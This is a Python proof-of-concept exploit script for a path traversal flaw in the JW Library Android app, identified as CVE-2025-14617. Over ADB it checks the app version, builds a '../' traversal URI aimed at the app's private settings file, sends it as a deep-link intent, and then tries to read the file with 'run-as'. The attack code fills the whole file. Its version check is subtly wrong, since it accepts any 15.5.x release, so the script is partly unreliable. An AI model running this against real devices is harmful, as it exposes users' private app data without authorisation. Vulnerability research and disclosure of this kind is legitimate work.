# CVE-2025-14617 Path Traversal PoC for JW Library App (Android)
# This PoC demonstrates the path traversal vulnerability in SiloContainer component
import os
import subprocess
import re
def check_vulnerable_version(package_name="org.jw.jwlibrary"):
"""Check if JW Library version is vulnerable (<= 15.5.1)"""
try:
result = subprocess.run(
["adb", "shell", "dumpsys", "package", package_name],
capture_output=True,
text=True,
timeout=10
)
version_match = re.search(r'versionName=([\d.]+)', result.stdout)
if version_match:
version = version_match.group(1)
version_parts = [int(x) for x in version.split('.')]
# Check if version <= 15.5.1
if version_parts[0] < 15 or (version_parts[0] == 15 and version_parts[1] <= 5) or (version_parts[0] == 15 and version_parts[1] == 5 and version_parts[2] <= 1):
return True, version
return False, None
except Exception as e:
print(f"Error checking version: {e}")
return None, None
def exploit_path_traversal(target_file="/data/data/org.jw.jwlibrary/shared_prefs/settings.xml"):
"""
Exploit path traversal vulnerability in SiloContainer component
Attack vector: Construct malicious path with ../ sequences
"""
# Malicious path construction
traversal_path = "../../../" + target_file.replace("/data/data/org.jw.jwlibrary/", "")
# Simulate the vulnerable function call
vulnerable_endpoint = f"jwlibrary://silo/load?path={traversal_path}"
print(f"[*] Target: {target_file}")
print(f"[*] Malicious path: {traversal_path}")
print(f"[*] Constructed URI: {vulnerable_endpoint}")
# Attempt to trigger the vulnerable component via ADB
try:
# Method 1: Using am start with custom URI
subprocess.run(
["adb", "shell", "am", "start", "-a", "android.intent.action.VIEW", "-d", vulnerable_endpoint],
capture_output=True,
timeout=5
)
# Method 2: Direct file access attempt
subprocess.run(
["adb", "shell", "run-as", "org.jw.jwlibrary", "cat", target_file],
capture_output=True,
timeout=5
)
except Exception as e:
print(f"[!] Exploitation failed: {e}")
return False
return True
def verify_vulnerability():
"""Main verification routine"""
print("=" * 60)
print("CVE-2025-14617 Path Traversal Verification")
print("Target: Jehovahs Witnesses JW Library App (<= 15.5.1)")
print("Component: org.jw.jwlibrary.mobile.activity.SiloContainer")
print("=" * 60)
is_vulnerable, version = check_vulnerable_version()
if is_vulnerable is True:
print(f"[+] Device is running vulnerable version: {version}")
exploit_path_traversal()
elif is_vulnerable is False:
print("[-] Device is NOT vulnerable (version > 15.5.1)")
else:
print("[!] Unable to determine vulnerability status")
if __name__ == "__main__":
verify_vulnerability()